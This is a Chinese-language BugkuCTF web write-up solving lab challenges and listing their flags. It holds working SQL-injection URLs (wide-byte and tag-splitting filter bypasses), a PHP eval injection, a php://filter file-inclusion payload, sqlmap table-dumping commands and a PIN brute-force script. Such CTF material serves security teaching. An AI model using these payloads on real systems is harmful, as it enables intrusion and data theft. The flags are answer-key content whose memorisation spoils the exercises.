BugkuCTF——web篇writeup(持續更新)
BugkuCTF——web篇writeup
平臺網址:http://ctf.bugku.com/
平臺首頁:
web2
網址連結:http://120.24.86.145:8002/web2/
頁面:
一看只有好多滑稽,分數也不太高,應該不是很難,F12開啟開發者工具看一下
得到ctf:flag KEY{Web-2-bugKssNNikls9100}
檔案上傳測試
連結:http://103.238.227.13:10085/
一看是檔案上傳測試,是檔案上傳的問題,看一下要求:
1、請上傳PHP檔案
2、檔案上傳大小不允許超過1M
先上傳php檔案試一下
發現提交後報錯,說是非圖片檔案,那就再上傳 接下來就覺得前端驗證是圖片字尾的驗證,上傳到伺服器時分析的是php檔案,不說了 用%00截斷或者00截斷試試
開啟burp抓包工具——設定代理——抓包
上傳的是一個222.png圖片,這時候最好別直接上傳php的檔案用%00 可能存在對檔案的內容解析 導致上傳失敗
最後得到flag:Flag:42e97d465f962c53df9549377b513c7e
計算器
連結:http://120.24.86.145:8002/yanzhengma/
我們計算一下提交
發現只能輸入一個數字,肯定是對提交的內容做了長度限制,開啟開發者工具把長度改一下
因為計算結果為18 長度改為2
得到flag:flag{CTF-bugku-0032}
web基礎$_GET
連結:http://120.24.86.145:8002/get/
發現是很簡單的程式碼 提交的資料(get方式)只要what=flag就行
flag:flag{bugku_get_su8kej2en}
web基礎$_POST
連結:http://120.24.86.145:8002/post/
這裡用一下火狐的外掛hackbug
得到flag:flag{bugku_get_ssseint67se}
矛盾
連結:http://120.24.86.145:8002/get/index1.php
讀一下程式碼 判斷輸入的num 如果不是數字的話且為1的話輸出flag 應了題目的話 自相矛盾, 但是我們有很多方法讓num為1但是不是數字 比如num= 1e0.123
得到flag:flag{bugku-789-ps-ssdf}
web3
網址:http://120.24.86.145:8002/web3/
開啟網頁之後發現一直彈出這個框 是不是特別煩 直接個禁止了
然後就是一片空白 一片茫然啊 f12看一下
發現一串很特別的東西 百度一下這是什麼碼
二話不說 直接貼上到瀏覽器上一回車發現flag就出來了
直接就出來了
flag:KEY{J2sa42ahJK-HS11III}
sql注入
連結:http://103.238.227.13:10083/
很明顯 查詢key表,id=1的string欄位
構造payload:http://103.238.227.13:10083/index.php?id=-1%20union%20select%201,string%20from%20%27key%27%20#
發現沒有出來 怎麼什麼都沒有了 繼續重頭開始 看一下是什麼注入
發現id=1和id=1’都沒錯 想起了寬位元組注入 試一下
果然 那麼就好了構造payload:http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from 'key'#
報錯 是引號的問題 那試一下另一種引號
http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from `key`#
這種引號在tab鍵的上面
發現還報錯 想起了是#的問題 把#改成%23
得到flag:54f3320dc261f313ba712eb3f13a1f6d
sql注入1
連結:http://103.238.227.13:10087/
訪問引數為:?id=x
查詢表為key的資料表,id=1值hash欄位值
- 以下是其中一段程式碼
- //過濾sql
- $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
- foreach ($array as $value)
- {
- if (substr_count($id, $value) > 0)
- {
- exit('包含敏感關鍵字!'.$value);
- }
- }
- //xss過濾
- $id = strip_tags($id);
- $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
首先我們看到這道CTF題的時候 通過程式碼審計,我們可以知道它過濾了很多關鍵字,這樣一來我們不知道怎麼下手,但是它又給出了一段程式碼,這段程式碼如果你不注意的話就可能認為是多餘的,但是它這段程式碼就是提示
我們通過百度查一下strip_tags()這個函式的作用
定義和用法
strip_tags() 函式剝去字串中的 HTML、XML 以及 PHP 的標籤。
註釋:該函式始終會剝離 HTML 註釋。這點無法通過 allow 引數改變。
註釋:該函式是二進位制安全的。
語法 strip_tags(string,allow)
剝去字串中的 HTML 標籤,但允許使用 <b> 標籤:
<?php echo strip_tags("Hello <b><i>world!</i></b>","<b>"); ?>知道原理後,那麼我們就可以直接構造payload了構造如下http://103.238.227.13:10087/index.php?id=-1 un<br>ion sel<br>ect hash,1 fr<br>om `key`#最後結果如下:
SQL注入測試
訪問引數為:?id=x
查詢表為key的資料表,id=1值hash欄位值
以下為其中一段程式碼:
//過濾sql $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit'); foreach ($array as $value) { if (substr_count($id, $value) > 0) { exit('包含敏感關鍵字!'.$value); } } //xss過濾 $id = strip_tags($id); $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
當前結果:
id | c3d3c17b4ca7f791f85e#$1cc72af274af4adef |
title | 1 |
得到 flag:
c3d3c17b4ca7f791f85e#$1cc72af274af4adef |
本地包含
連結:http://120.24.86.145:8003/
分析出hello這個post/get獲取的引數值很重要($_REQUEST對get,post都能接受)
看一下 直接構造payload就行了 這裡用了一個知識
http://120.24.86.145:8003/index.php?hello= 1);print_r(file("./flag.php%22")
就相當於:eval( "1);print_r(file("./flag.php%22")");
flag:flag{bug-ctf-gg-99}
變數1
連結:http://120.24.86.145:8004/index1.php
一個變數,當變數符合要求時輸出flag 首先得知args這個變數是七個字元的 想起了全域性變數 GLOBALS
得到flag:flag{92853051ab894a64f7865cf3c2128b34}
web5
連結:http://120.24.86.145:8002/web5/
隨便輸個東西提交
發現什麼都沒有 抓包試試
發現出來一種碼 直接用瀏覽器自帶的工具 開發者工具裡的console解碼
然後回車
flag:
連結:http://120.24.86.145:9009/hd.php
開啟之後 發現現實什麼也沒有 開啟原始碼看一下
發現有隱藏的元素 所以直接抓包
得到flag:flag{Bugku_k8_23s_istra}
連結:http://120.24.86.145:8002/web4/
讓檢視原始碼 我們舊檢視原始碼 在原始碼裡找到一段指令碼 用js跑一下
解析後得到:
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
說如果我們提交的內容是67d709b2b54aa2aa648cf6e87a7114f1就可以得到flag試一下
KEY{J22JK-HS11}
flag在index裡
連結:http://120.24.86.145:8005/post/
點選下發現什麼都沒有 不過題目都說了 flag在index裡 所以可以直接構造payloadhttp://120.24.86.145:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php
得到一串碼
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
base64解碼
<html>
<title>Bugku-ctf</title><?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>
<þfl>
得到flag{edulcni_elif_lacol_si_siht}
輸入密碼檢視flag
網址:http://120.24.86.145:8002/baopo/
一看是讓輸入5位數字密碼 而且url就告訴你了讓我們用爆破 那就爆破白 密碼時從00000到99999一共十萬個
用phthon吧 慢慢爆破 雖然有點慢
#coding:utf-8 import requests url='http://120.24.86.145:8002/baopo/?yes' value=[] for i in range(0,99999): if(len(str(i))<5): value.append("0"*(5-len(str(i)))+str(i)) else : value.append(str(i)) data = {'pwd':00000} content = requests.post(url,data=data) content.encoding='utf-8' patch=content.text for i in value: data = {'pwd':i} print ('嘗試密碼:',i) content = requests.post(url,data=data) content.encoding='utf-8' html=content.text if html != patch: print (html)
最後爆出密碼為13579 輸入即可得到flag
flag:flag{bugku-baopo-hah}
點選一百萬次
連結:
開啟之後是下面這個樣子
什麼也看不出來 F12分析下原始碼:
有一個post提交的資料 那就構造一下唄
得到flag:flag{Not_C00kI3Cl1ck3r}
成績單
連結:http://120.24.86.145:8002/chengjidan/
這個一看應該是SQL注入 先提交一個數據看看
發現有一個post資料 那就利用這個資料注入白
先抓包
然後點選action——>從copy to file
我儲存在了 D盤3333.txt
開啟sqlmap
得到當前使用資料庫skctf_flag
爆表sqlmap -r "D:\3333.txt" -p id --table -D "skctf_flag"
爆f14g的列
爆欄位
得到flag:BUGKU{Sql_INJECT0N_4813drd8hz4}
phpcmsV9
連結:http://120.24.86.145:8001/
看到這句話 想都沒有想 直接掃描了下目錄裡的txt檔案
根目錄下存在flag.txt
直接開啟:
flag{admin_a23-ae2132_key}